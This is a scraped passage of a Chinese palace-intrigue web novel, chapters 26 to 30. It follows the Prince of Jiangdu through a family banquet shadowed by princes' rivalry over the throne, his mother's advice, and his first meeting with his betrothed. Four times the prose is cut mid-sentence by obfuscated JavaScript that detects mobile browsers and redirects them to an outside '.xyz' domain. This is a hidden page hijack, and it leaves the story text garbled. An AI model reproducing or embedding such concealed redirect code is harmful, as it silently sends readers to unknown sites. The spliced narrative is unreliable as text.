d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736848|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也在么?” “你就没有看见定国公府的马车么,百里涌差点撞上的那辆便是,当时颜家三娘子就在里面。”百里澄想扶额,她也确实扶了。 当时距离如此之近,百里漾却愣是没看到。 百里漾更懵了。他当时完全没有注意到,他当时只顾着拦下长夏王的恶行,至于其他的,他没有来得及关注太多。原来那位颜姑娘竟是在的,说不得过程从头到尾都看个遍了。 瞧着幼弟这副呆样,百里澄直摇头,“你可真是一只呆头鹅,一点没有做人家未婚夫的觉悟。”这等同于人家姑娘在他前面摔倒了,他的行径比看见了不扶还要可恶,因为他压根就没有看见。 “我之后便去定国公府赔礼。”百里漾赧然又羞愧了,这事确实是他做的不对。其实从那次越国长公主的游园会之后,他也没有再见过那位颜家的姑娘了。 这样好像是不太行,如果没有意外的话,他们该是相互携手一生的人,而且这是联姻,对两家的意义都重大。他作为两位当事人之一,似乎表现的过于冷淡了。日子久了,难免会叫人传言他对这门亲事不满意或是对定国公府报以轻视的态度。 看着幼弟并不算完全的榆木脑袋一只,百里澄颇感欣慰。其实幼弟无非就是不开窍,这样也好,她觉得这样就比老二老四他们要强的多了。这样的女婿,定国公府也应该会满意了。 长夏王被削减封地之事在湛京引起了不小的震动,尤其是在诸侯王之间。 定安王收到消息的时候,惊得都愣住了,接着就是狠狠砸了手上的酒爵,气愤又极不甘道:“阿爹为了太子,竟对我等如此狠心。明明我们也是阿爹的儿子啊。” 他当然不是为长夏王抱屈,而是看到了这件事背后皇帝的态度。 王国相也惊了,皇帝能做到这个份上,维护皇后与东宫的意思已经很明显了。太子永远是太子,谁都不要存有任何妄想。皇帝这是在警告下面那些不安分的儿子。 定安王内心的不甘和愤懑都要化作利剑,狠狠刺穿太子的身躯了。 但形势比人强,如今之势并不利他们。王国相只能劝定安王道:“陛下态度如此之强硬……东宫此刻还是难以撼动的。大王仍须缓缓图之。” “缓缓图之?”定安王冷笑且不耐,“难道要等着百里渝登上帝位么?他若成了皇帝,那时我算什么?” “大王勿急。太子非常寿之人,子嗣亦艰难,至今无子,即便是侥天之幸登上了帝位也不会长久。若真到了那一步,大王应早做打算才是。” “你的意思是?”定安王有些被说服了。 王国相拱手道:“大王应做两手准备才是。” 所谓的两手准备,其一是若太子活不到登基,该如何;其二则是若太子活着登基,又该如何。他们谋划的是帝位,不管何种情况,都应该有所应对策略才是。 定安王听进去了,他沉思了片刻,道:“卿所言正中我心。古之成大事者,皆善隐忍而多思谋,忍一时再谋天下。” 27. 第 27 章 定安王与王国相的谈话无人得知。而皇帝惩治长夏王之后,效果也很明显,底下的儿子们一个个都显得无比的乖顺。即便知道这很有可能只是暂时的,也让他心情愉悦了一段时间。 可百里漾却有些烦恼了。那日从长姐百里澄的口中知道了自己干的“蠢事”后,他也觉得不能再这样下去了,他应该重视起来的,那毕竟是他未来的王妃不是么。且陛下下旨赐婚已有一段时日了,他也该亲自上门拜访未来的泰山泰水了。 既是拜访,那就要备礼。定国公家中人口如何不难查清楚,按着礼数备下便是,这些也有臣下为他办妥。难得是给那位颜家姑娘的礼物,送什么才会恰到好处,既不会唐突又显得亲切。可这种事他完全没有经验,前世今生也就现下是头一遭。 “你就是为这个发愁?”崔栋觉得不可思议,他理解不来,“这种事情完全可以交给下面的人去办,保管办得既妥贴又好,届时只消你带着礼物上门便是。何必愁成这样。” 百里漾不想同他说话了,他就不该找崔栋来问策。崔栋在这些方面向来粗犷大意、浑不上心,自己找他能得到什么好的建议。 眼看着百里漾不打算搭理自己了,崔栋不干了,“你一说有急事,我匆匆忙忙、火急火燎的就赶来了,结果就为这事?” 百里漾被他缠得烦了,忽想起崔栋已定亲卢家的姑娘,舅舅舅母着急,想尽快让两人完婚,早些日子已经开始走六礼了。他问:“卢家姑娘那边,你就没有自己亲自挑选过什么礼物送过去?” 两家的婚事到了这个地步已经没有反悔的余地了,崔栋的态度也从不情愿转变为了不抵触。既然未来要成为夫妻,双方自然要有所表示,卢家那边送来了不少礼物给大将军府以表心意,崔家这边也要回礼,舅母怕是没少要求崔栋送些东西过去给人家姑娘。 “有啊。”崔栋肯定道。 百里漾顿时来了兴趣,问他是什么,看看自己有没有可以借鉴效仿的地方。 “我的画作。”崔栋没有看见百里漾陡然变得无语至极的脸,面上满是遇到知音伯乐的喜悦兴奋,“卢姑娘回信说,我的画极好,她特别喜欢,已让仆人拿去装裱了,准备挂在书房里,习字时可以看到。” 百里漾:“……” “你这是什么表情?”崔栋总算看见了百里漾面上古怪的神色,不乐意了。这么些年了,他好不容易遇上一个懂他、欣赏他画作的人容易么? 确实很不容易。百里漾不知道人家卢家姑娘是真喜欢还是假装迎合,但不管怎么说,至少崔栋的婚后生活是不用担心不睦了。两个“情趣相投”的人凑在一起,日子总不会难过的。 虽然崔栋送礼的内容很令人吐槽但效果却奇异的显著,这其中还是有可以借鉴的地方。 百里漾把崔栋打发走后,细细思索了一番,转头找来了此次随同一道前来湛京的掌管府库财物的臣子,让他去找一样东西出来。 这位臣子动作很快的就将百里漾要的东西找出来了,在知道大王是要拿去送人后还十分贴心地找了一个很相衬的盒子装在里面,顺道还问了一句,“不知大王要将此物赠与何人?” 在臣子看来,那一瞬间不知怎的,他总觉得大王的神色变得有些高深莫测,然后说出一句让他大惊失色的话。这、这是送给他们未来王妃的?!! “怎么了,可有问题?”百里漾瞧他神色不对劲,不由问道。 “并无问题。”那臣子默默咽下了自己要说的话。他原先还以为此物是赠送给长公主的……若是赠送给未来王妃,恐怕有些不妥吧。可看着大王一脸满意,他想了想还是不劝了。未来王妃是将门出身,说不得也会喜欢这件礼物的、吧。 上门拜访别家为示诚意与礼数,拜帖要提前奉上,还要询问人家有没有时间。百里漾派了此次随同入京的品级最高的属臣前去送拜帖,得到了三日后可以去拜访的回复。 事情算是解决了一半,百里漾心里稍稍松了一口气,可又为即将到来的拜访而有些心绪不平,难免多想了些。但他很快没有时间为此事想那么多了,因为皇帝定下的家宴就在今晚。 此前各地诸侯王陆续抵达湛京,皇帝皆一一召见了,不过那都是私底下的见面,更似是亲人之间多年未见后的一次相见。而这一次的家宴是皇帝召集了如今在京的所有天家宗室之人举行的一次宴会,包括越国长公主一家在内,哪怕是如今皇帝膝下年纪最小的七、八两位皇子都会赴宴。 时隔五年,百里氏的子孙们再次聚在一起,也好叫彼此之间看看自己的兄弟姊妹们在这五年间都变成了个什么模样。 夕阳渐落,天色昏黄。 江都王宅里,百里漾正由侍人服侍着穿衣。因为是家宴,无涉君臣朝堂,所以衣着可不必过于郑重正式,但也不能太过随意。他选了诸侯王的常服,玉簪金冠,宽袍玄衣,腰悬宝剑,挂白玉为佩,威严之余又不失随和。 着装毕后,出发入宫赴宴。门外已有专人套好马车,待百里漾登车后,车夫挥鞭驱动马车,朝着皇宫的方向驶去。 今晚的家宴定在织庆殿中举行。百里漾到织庆殿时,已有一些人先到了。他举目望去,东宫一家三口、栎阳长公主百里澄、定安王携妻带子的以及越国长公主一家都赫然在列了。 百里漾走上前去一一见礼。太子与百里澄是他兄姊,他们之间没有必要虚情假意地客套。越国长公主是长辈,素来和善可亲、立场也颇正,颇受晚辈敬重。一阵寒暄过后,气氛很是融洽。轮到定安王时,气氛就稍稍有些变了。至于原因么,大家都心知肚明。只是很多事情没有真正摊开到明面上,所以大家面上还是能够装出一团和乐。 定安王身形魁梧似武将,下巴处一整圈都蓄有黑短微卷且浓密的胡须,衬得模样更显粗犷。他大步上前拍了两下百里漾的肩膀,朗声道:“五年未见,五郎已长成一磊落堂堂的挺拔男儿了,为兄我差点都要认不出来了。”态度亲切热络毫不生疏,好似他与被百里漾真的是情谊深厚的兄弟俩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736849|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 肩膀上传来定安王两掌施加下来的厚重压力,百里漾面不改色,对定安王勇武初步有了切身的体会。他的身形未有丝毫动摇,亦笑道:“漾见三王兄又未尝不是如此。” 定安王微挑眉,配合着笑了几声。两人又假惺惺地说了几句场面话后,定王安便介绍了一番他的妻子和儿女。此次他上京是定安王妃与嫡女、庶长子随行。 定安王妃是褚氏,世家怀郡褚氏的嫡长女,样貌自然是美的,自有一番仪态风度。百里漾只看一眼便行礼问好,两人没说什么话也叫他看出褚氏的一点异样来。 褚氏是褚之彦之女,匆匆一眼也看得出她与其父有几分相似之处。百里漾自不是因为这个觉得有异,他是发现了褚氏精致妆容之下也泄露出来的一丝疲惫。又想到褚氏三四月前方产子,如今却要跟着定安王一路劳顿上京。显然定安王此人可不是会怜惜妻子的人。 定安王的庶长子年方五岁,眉眼几乎是复刻定安王了一般,体格也比一般的同龄孩子高壮健硕。百里漾听说过,此子是定安王的一名媵妾所生,因是长子,定安王多有宠爱,甚至亲自教导弓马骑射,延请名师教以课业,待遇已不输一般的嫡子。如今看来,这孩子气势颇足,上前与王叔见礼眼神也毫不见卑怯。长女只有三岁,是王妃褚氏所出,正儿八经的嫡长女,白白嫩嫩的,小小一只,性子却有些羞怯,紧紧抓着母亲的手,听从父亲的话给百里漾这个王叔行礼后又躲了回去。 百里漾对孩子没有什么意见,一一给了见面礼。 这场家宴,因为皇帝要求在京的皇室宗亲除了实在来不了的都要来,百里漾预料到比他小一辈的孩子怕是有点多,基本上他都是第一次见,见面礼少不了,所以之前备下了,现下见了面正好可以给出去。 就在他与众人见礼寒暄的时候,淄川王以及宜城公主、长夏王、山阳王等人也纷纷到了。淄川王不必说,他是长辈,在抵达湛京的第二日,百里漾便去拜访过了。长夏王那日在大街上见着了,还起了冲突。倒是宜城公主和山阳王,百里漾回京至今是第一回见。 来了人,一群人又是一阵寒暄问礼,说些“经年不见”的话。 没过多久,尚未及笄的汝阳公主带着两个小豆丁七皇子、八皇子也到了。这三只年纪是皇嗣中最小的,兄姊之间的那些明里暗里的争斗不对付还牵扯不到他们,故而也没有那些弯弯绕绕的花花肠子,只是单纯觉得好些几年不见的兄姊们变化好大,基本上是认不出来的。 织庆殿宽阔恢弘,往常多用作皇帝宫中行宴,或是宴请勋贵大臣。殿内宽敞明亮,数百盏明灯尽数点亮,照得殿中诸人皆一览无余。百里漾等赴宴之人悉数到场后,交谈的声音也多了,热闹的气氛也就起来了。 皇帝与皇后就是这时候来的。宫侍还未唱声迎驾,皇帝看着织庆殿里面热热闹闹的景象,心情大好,与崔皇后感叹道:“宫中好久没有这般热闹了。像今日这般大家一家子都聚做一处,吃喝玩闹,也是难得的乐事。” 28. 第 28 章 崔皇后也笑,“陛下若是愿意,叫他们日日入宫来也不是不可。” 两人是老夫老妻携手过来的,皇帝也乐得与发妻打趣,故作吝啬道:“真叫他们日日来了,朕内库中的美酒怕是要让他们喝光。朕可不舍得,想想都觉得亏得慌啊。” 崔皇后掩唇轻笑。 “陛下、皇后殿下至。”随着宫侍唱至,帝后二人携手前来,出现在织庆殿众人的视线之中。众人纷纷叩拜行礼,皇帝叫起后,看着底下满满当当的人,容色大悦,笑道:“今日是家宴,亲人团聚,无需多礼。” 皇帝都发话了,众人也不会拘束。 宫中行宴,若是大宴,人数颇众,具是分案而食。自高皇帝起,百里氏的子孙繁衍到如今,其实人数也不能算众。只不过好些都已成家,妻儿家眷随着来了,便使一家排在一处,瞧着也分明。 皇帝今夜的心情真的是极好,瞧着这殿中都是他血亲之人,忍不住多饮了些酒,还是崔皇后劝了,他才节制了些。酒过三巡,皇帝兴致上来了,对出京就封的弟弟、几个儿子都有问话,说了好些关切之语。淄川王与定安王等皇嗣皆备受感动,想着这几年在封国不能回京的日子,眼眶都微微发红。 这场家宴进行至深夜,气氛一直都很和乐。皇帝最后还是饮醉了酒,被崔皇后令宫侍搀扶着离开。饮醉的人又岂止皇帝一个,如淄川王、定安王、长夏王等人也都是醉得走不动道,被同来的妻儿或宫侍搀扶着离开出宫去了。 百里漾也饮了不少酒,他酒量还可以,在宴上不似定安王他们多饮,离场时神思尚算清明。他与长姐百里澄先送太子回东宫,途中叫夜风吹了一路,酒便彻底醒了。 百里漾是要出宫回自己的王宅的。本来送太子一家三口回东宫后,他应该要出宫了。长姐百里澄开口让他送她一路,百里漾自然不会拒绝。百里澄未曾招驸马,作为未嫁的皇女,依旧居住在宫中。从她的寝宫到东宫有一段不远不近的距离,百里澄说步行过去,正好可以醒醒酒。 “阿爹很久没有这样高兴过了。” 宫人手持宫灯,两人在前引路,又令其余人隔着一段距离在后面远远缀着。走到了一空旷处,百里漾忽然听到长姐如此说道。 百里漾也想起方才在织庆殿时,整个家宴的过程中,皇帝丝毫不掩悦色,可见心情是真欢喜。他默了默,在长姐看来时,微微叹道:“大家好久没有这般聚过了,阿爹心中自是高兴。” 皇帝除了是皇帝,他亦是百里氏的大家长,是他们这些人的兄长、父亲以及祖父。天家亦是家,皇帝也是人,他当然也希望同胞之间和睦、底下的子女们能够孝悌睦好。尤其是他渐渐老去,心中便更愿意看到这样的图景。但天家又不是一般的家,当皇帝开始老去,他的子女们却羽翼渐丰,面对这天底下最大的权力诱惑,没有人能够淡然处之,争端也就开始了。今日织庆殿中的喜乐平和只会是暂时的假象罢了。 定安王志在东宫,心思已是昭然若揭。其余的目前还看不出来什么,但估计也不省油。如今局势尚且平稳,皆因皇帝态度强硬将那些不安分的都压了下去。但太子身子孱弱是事实,皇帝也不只是他们兄姊弟的父亲,他们也怕皇帝会动摇。 “阿爹希望的是兄友弟恭,各安其位。”百里澄走在前面半步说道,又转眸看向百里漾,如潭水无波,“可百里洪不会这么想,他的亲族、拥护他的人都不这么想。倘真到了那么一日,势必要同室操戈。” 百里漾陡然一震,瞳孔都颤了一下。 周围的夜色茫茫,宫殿檐下的灯火在沉沉的夜幕中显得微渺而无力。他们这群人像是在一步一步地踏入更深的黑暗之中。 百里漾的心也茫茫,他不禁顺着长姐的话去想,倘若真的走到了那一步,不是你死就是我活,真的要去下那个手么? 百里澄看他心神摇摆得厉害,没有再继续说下去。她这个幼弟自小就比其他兄弟们良善的多,阿爹常为此感到欣慰。可在她看来,如今却是不太合宜了。 做天家的子女,该狠时就要比谁都要狠,心慈手软、犹豫不定往往就会败北,下场凄惨的也不会只是自己一个人。 “也未必会发展到那一步。”百里澄回首,望向了茫茫夜色中灯火明亮的东宫所在,“东宫立稳了,任他们有再多的心思也无济于事。” 百里漾也随之望向东宫所在,心情却不免沉重。 东宫是国之储贰,轻易不能撼动。若太子好好的,岂容得百里洪他们出头。可太子的情况,大家都有目共睹。他这次回湛京见到太子,其实心中是很惊了一跳的,太子的情况看着比他就封前还不如。如今东宫的许多事务以及召集臣下商讨诸事,太子甚少亲自出面,大多是由长姐暂代的。这怕也是长姐一直没有招驸马的原因之一。 “到了。”百里澄道。 百里漾恍然,抬头见到了宫殿悬挂的匾额,他这一路走过来心事颇重,都没有注意已经送到地方了。 “你该出宫了,夜深记得看路。”送到地方了,百里澄用完就扔,开始赶人。 “……”百里漾只好告别道,“我这就回去,祝阿姐好梦。” 百里漾手持皇帝给的出宫令牌,叫开了宫门后,乘坐马车回到了江都王宅。府中已备好醒酒汤、热汤等物,等一切收拾停当之后,百里漾昏昏欲睡,沾到床榻后便沉沉睡去。 至第二日醒来时,天光已大亮。 百里漾方洗漱更衣毕,正喝着稠香可口的小米粥,昨日那名负责掌管府库财物的臣子来了。百里漾请他一同用早膳,臣子辞拒了并告诉他今晨时椒房殿来人传皇后口令,请江都王入宫一趟。 “此事怎无人知会于我?”百里漾眉头一皱,问道。 臣子忙说道:“本是要叫醒大王的,只那女官说皇后殿下特令她传话,勿扰大王安睡,请大王得空了便入宫往椒房殿去一趟。” 想来是崔皇后心疼幼子昨夜行宴饮醉后还要连夜出宫,想着让他睡个好觉再来。这般特意交代了,百里漾想着估计也不是很要紧的事情,就不甚着急了。只是他用早膳的速度比平日加快了些,一面又吩咐人备马。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736850|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 待百里漾出门时,只在小半个时辰后。翻上马背一拉缰绳,马蹄声“哒哒哒”地往皇宫去了。他到椒房殿时,崔皇后看见他来得如此之快,颇是诧异道:“不是让你觉醒了再来么?” 话是对着百里漾说的,身旁有一女官忙俯首跪下,“殿下恕罪,殿下之令奴婢不敢违逆,未曾敢扰大王好梦。” 百里漾道:“那时我还在梦中,醒来后才知阿娘唤我。担心有什么要事,所以就来了。” 崔皇后抬手让那女官起身退下了,“说不上什么要事,可也的确有些要紧。” 一听崔皇后这么说,再看她面上的肃色,百里漾的面色也凝重了些,做出一副恭听垂训的模样。 岂料,崔皇后先问他,“你可是后日要去拜访定国公府?” 百里漾有点懵,回道:“是,阿娘何时知晓的?”他有些凌乱,这事有什么不对么? “自然没有不对,你这般行事就很好。”崔皇后肯定了百里漾即将上门拜访的举动。对于百里漾的婚事,她其实挺忧心忡忡来着的,只因幼子似有不愿以及不上心。那日百里漾与她说了那一番话之后,崔皇后倒不担心颜氏女嫁过来之后幼子会待她不好,她反而开始忧心幼子日后婚姻不幸福。 在她看来,婚姻大事若是能两情相悦是最好,否则便容易出怨偶。东宫的情形她看在眼里,每每想到便要叹一次。为人父母的,自然希望子女过得好。长女那情况就先不提了。如今幼子已有婚事,但瞧着他却不如何上心,做娘的着急在心里,无法,只好令人不时以他的名义给定国公府那边送去礼物,以示看重。 乍得知百里漾不日要上门拜访定国公府,崔皇后不胜欢喜,思来想去忧心幼子没有经验,特意叫来叮嘱一番。 崔皇后道:“说来自圣旨赐婚后,这是你头一回上门,自当慎重,礼数必要周到。上门的礼物可备下了?” “备下了。”百里漾叫崔皇后一连串的话说得脑子都要转不上了,总之就是崔皇后问什么,他老老实实回话就是。 “你手下之人做事颇是周到。”听百里漾说他准备要携什么礼物上门,崔皇后面色稍缓,思索一番后细细叮嘱,“定国公非常人,你将娶他爱女,普通人家尚且不放心,担心女儿所托非人,定国公夫妇亦如是。此次上门拜访,你是以未来女婿的身份去的,执的是晚辈礼,态度总要谦逊一些。” 说着又招手示意,旁边立时有一女侍双手恭敬呈上一红册,崔皇后便示意百里漾接过。 百里漾接过翻看,发现这是礼单,上头所列的都是好东西。他当即就明白了崔皇后的意思,辞拒了。他自己上门拜访,怎好意思用阿娘的东西。 崔皇后却不容他拒绝,“这是我要送未来儿媳的,与你无关,你到时就负责捎上就是了。” 百里漾只好应下,心中却是暖洋洋的。阿娘念他疼他,才会事事为他筹谋。同时他心中亦升起愧疚来,他应该更懂事一些,这样才能真正担起更多的事来,免得亲长为他忧心操劳。最后他面带愧色地从椒房殿离开了。 29. 第 29 章 “这孩子。”百里漾离开后,崔皇后不禁摇头叹气,“自己的王妃自己都不知道上心。” 其实崔皇后是有些想不通的,颜家的姑娘模样才华品性皆是上等,幼子又并非没有见过那姑娘,怎么反应如此平淡,寻常都是少年知慕好颜色,换到幼子这却行不通了。弄得她甚至此前百里漾同她说的“恐耽误人家好姑娘”是托词了。 “五王许是知事晚,过个一两年便好了。届时殿下怕是也有孙儿抱了。”掌宫令一面笑着安慰道,一面适时上前给崔皇后轻轻按摩着脑门两侧的穴位。 “你啊,这张嘴惯是会说话的。”崔皇后被掌宫令逗笑了,还真的顺着她的话去畅享了一下日后孙儿绕膝的美好场景。她已有孙女阿荧,疼爱非常,若非不忍母女离别,她其实是想亲自教养于膝下的。 这时代到了崔皇后这般年纪的妇人内心是很想抱孙子孙女的,且以太子与百里漾的身份境地,膝下子息不丰总归是不好的。太子是那般情况不能强求,长女有自己的主意。她便把希望先落在幼子身上。 江都王将要亲来府上拜访,这是大事,定国公府上下都极为看重。 曹氏最为期待,她其实一直想正式与江都王见面,在游园会的那次不算。赐婚的圣旨已经颁下,她心中早盼着了这次会面了。女儿将嫁,她虽然之前细细打听过江都王人品各项,大体来说是满意的,但没有真正当面的见过,总不会真的放心。 虽然百里漾有未来女婿的名分在,但君臣名分在前,无人敢怠慢他。故百里漾登门拜访的这日,定国公府大开中门,以定国公夫人曹氏为首,迎他入内。 定国公府为迎接这位天家贵婿,出动了不少人,领头的人是曹氏,后边站着定国公的次子。倒不是他们怠慢,只因定国公与长子身在军伍,领着要职,这段时日并不在湛京之中。百里漾这次来拜访只能见到未来的丈母娘。 大家都大门口相互见过礼之后,百里漾便被迎进了会客的厅堂。 这是百里漾第二次见到曹氏,之前在游园会只是简单打了招呼。曹氏是定国公发妻,身上很有大家主母的气派。她眉眼温和含笑,言谈举止皆落落大方,待百里漾有亲近之意不使人生分也不会过度,一路走来所言皆言之有物,给百里漾一种如春风般和煦的感觉。 至厅堂坐下,仆从奉上茶来。众人便喝茶说着趣事,不涉朝政。大家都心知肚明这回是准女婿上门拜访,只捡些欢乐的事情说。说说笑笑过后,双方彼此之间的距离拉近了些,也都能放开了些。 百里漾捡拣了些在江都国的事情来说,他发现当说到江都的一些风土气候时,定国公夫人尤为上心,于是在这方面就多说了些。 江都据四郡之地,王廷所在的江都郡一年之中气候温和,夏日不会太过炎热,冬日也不至于过于寒冷,称得上是山水秀美,物阜民丰,否则当初皇帝也不会选在此处为百里漾修建王廷。 曹氏听罢连连赞叹,不只是对江都,心里还有对百里漾这个准女婿的满意和欣慰。她这半辈子经历过许多事,识过许多人,练出了几分看人的准头。她看出是个百里漾性情好的,不似其余诸侯王倨傲,椒房所出之子还是这般品性,更是难得。她现在能放心了,这位五王是知礼明理之人,这样的人即使对妻子无爱,但该给妻子的敬重是不会少的。 饮过了一轮茶,也叙过了一回话,也该进入正题了。 客人过府,按照常规流程,主人家是要带着第一次上门的客人往府中游览景致的。果然,曹氏开口,邀请百里漾去府中花园赏游,让次子颜青梧领路作陪。 百里漾心道:“来了。”面上没有表现出什么异色,向曹氏告辞后随颜青梧去了。 “五王请。”颜青梧走在前一步,拱手做了一个“请”的手势。 他是定国公第二子,年二十四岁。兄长颜青柏如今领着武职随父在外驻守,并不在京中;他则留在湛京之中,如今领着禁军的差事,知道江都王要来府上拜访,他便请假在家。对于这位身份贵重的未来妹夫,颜青梧小心中却忍不住带了几分打量。江都王日后可是要娶他亲妹妹的,哪怕婚事已经定下,但这人好与不好,他也忍不住想要看看。 今日看来,百里漾给他的观感很是不错。 颜青梧一路引着百里漾在园子里闲逛,介绍些独特雅致的园景布置。这宅邸是泰始年间高/皇帝赐下的。当时的宅邸虽只是挂匾侯府,实则前身是前朝某位曾显赫一时的国公之府,其规格布置、园林景致在湛京中都是排得上号的,很是值得一观。 但这些在今日其实都不重要,百里漾也没什么心思仔细观赏。大家心里也都明白,这回百里漾来,还有一件要事便是与他那未婚妻颜漪正式地见上一面。 这时节湛京的天气已经有了暑气,纵使定国公府内绿荫遍植,常有凉风穿堂而过,一路走来却仍免不了一身热气,百里漾身上也出了些汗。 “大王,前方有一凉亭,可避一避暑热。”行至一处抄手游廊,颜青梧说道。 凉亭? 百里漾恍然,举目望去,只见前方凉亭之中有一薄青倩影端跪正坐,距离颇远,似有所感,微微侧目朝这边看来。两人的目光在半空中碰了一下,百里漾忙收回视线,耳根下微微发热。他懂了,那凉亭就是今日他与她见面的地方。 人已带到,颜青梧看了一眼凉亭中,朝百里漾拱手作礼,什么也没说,告退了。 定国公府很贴心,将空间留给了两个未婚小夫妻。 百里漾看着不远处的那道倩影,抿了抿唇,深吸一口气,走了过去。待他走入亭中,等候的颜漪便起身作礼相迎,“臣女见过大王。” “免礼。”百里漾也回了一礼,说道。 两人隔着一张石桌对坐。 百里漾忽然有些紧张,或者说他在向这个亭子靠近时就开始紧张了。他知道的,这个亭子里坐着的是颜漪,在等着他的人是他的未婚妻,也是未来的盟友。不管是哪一种身份,都值得他慎重对待。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736851|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“大王可喜饮茶?”颜漪问道。 百里漾很能装,略颔首。 时下品茗是雅事,在权贵世族中深受欢迎。他大略懂一些,能品出好坏,细微的差别却说不出个所以然,有些时候喝它更多的是为了提神的。 颜漪便亲手煮茶,行云流水间,一举一动甚是风雅美观,令人赏心悦目。不多时,她便沏出了一杯新茗递给百里漾。 百里漾忙接过饮了,眼睛一亮,赞道:“好茶。” 这杯茶给他的感觉很不一样。 新沏的茶是热的,这般天气饮用热茶难免暑热更甚。其实不然,这是一种新出的茶饮,细品如果酒却有茶的清香,加入些许冰使得滋味更佳,在湛京中极受欢迎。但这种茶饮煮制的时候很繁琐且不容易制好,他现在能喝到,全靠对面之人的用心与手巧。 “七娘子茶艺出色,令人佩服。”光赞茶好却忽略了人,百里漾赶紧补道。 他称呼颜漪为“七娘子”,是知道了颜漪在颜氏这一辈中行七,叫“七娘子”是稍微亲近一些的称呼。再亲近的,就是“七娘”了。只是话说完自己还有点囧,这话若是放在前世绝对是阴阳怪气骂人的话,好在这里的人并不知道这种梗,这是纯粹夸人的好话,他也是真心实意的。 殊不知他面上出现的那一点点怪异让对面之人捕捉到了,可饶是聪慧多闻如颜漪也不会猜到百里漾的变化是因为什么。目下猜不出来的事情颜漪不会过多的纠结,她看着对面的百里漾,垂眸,反正今后她有很多的时间和机会去了解这个人不是么。 “大王过誉了。”颜漪回道。 她的嗓音很清柔,传到耳朵里让百里漾觉得是一种听觉享受。这是他们第一次如此近距离的接触,比在游园会时更近,也更安宁,周围没有多余人的打扰。 百里漾趁着这个机会才将人清清楚楚地看了个真切。这时候,颜漪给他的感觉又不同了。她好似很宁静淡然,只是在那里就给人一种岁月静好的感觉。一时之间,他也只找到了“美好”这个词汇来形容眼前的这个女子。 那一瞬间,百里漾觉得,与这样美好的女子成亲也未必不好。这么一想,他觉得自己该主动些,只是他刚要开口便听到对面之人说道:“那日在街上,多谢大王出手搭救。” “啊?”百里漾没有想到她会突然说这个,同时又想起了那日长姐说他“呆头鹅”的事情,之后他仔细回想过了,以当时的距离,他是可以看清那架马车上定国公府的标志,可他那时就跟瞎了一样愣是没看到,所以面对颜漪的道谢,他自己先羞愧了。 “不、不必谢我。”百里漾不敢担她的谢意,他定了定神,面上便正色了些,“当时七娘子已脱险,非我之功,不敢称谢。” 他很诚实。 马车没有被长夏王撞上是因为车夫的技术好避免了撞上的结果。况且他那时也不是因为认出了颜漪在马车上才去阻拦长夏王的。而且应该惭愧的是,他还对人家“视而不见”。这怎么都说不过去。 30. 第 30 章 她道谢,百里漾拒绝,甚至还露出了愧色。 怎么说呢,颜漪再次发现了百里漾的“不一般”。面前的这位江都王似乎是一个相当正直的人呢。这个发现让颜漪心情变得愉悦。她道:“若非大王那日及时出手,遭殃的又何止我一人。大王仁善。” 她所说并非虚言,当日若是百里漾没有及时出现并阻止了长夏王,首当其冲遭殃的就是那名太学生闻夏。以当时情况之凶险,他不死也残,更不必谈日后的前途如何了。还有那一街无辜的人,长夏王之后还会继续作恶,或许遭殃的就不只是那一街的平民百姓了。 至于她,或许在把定国公府亮出来后,长夏王会有所收敛,但这并不绝对。事实也如此,之后哪怕是面对百里漾,长夏王认出了这位椒房所出的异母兄弟,他不也是依旧疯疯癫癫、口出狂言了么。那样一个醉酒撒疯、行事狂悖的人,发起疯来会做出什么事情谁都把握不了。 当时百里漾的出现,未尝不能说是“天降神兵”。 被夸了,百里漾微微有些脸红。尤其是他看见颜漪实在过于漂亮的眼眸中一派的真诚纯然,就好像他是真的很好一般。不知怎么的,他感觉好像是回到了前世的时候,那时候被人夸奖了也会有一种“自己哪有人家说的这么好却又忍不住高兴”的心理。 明明不应该是这样的啊。 这一世,他成了百里漾,成为了江都王,“大王英明、大王仁德”之类的彩虹屁听了可不老少了,按理来说应该有一定的免疫力了,怎么现在却还会如此? 百里漾想不明白,但他得对那日的事情道歉。不管怎么说,那时他们之间已经有了未婚夫妻的名分,他当时的作为就属实是很没有“眼色”。他颇为赧然地表达了自己的歉意。 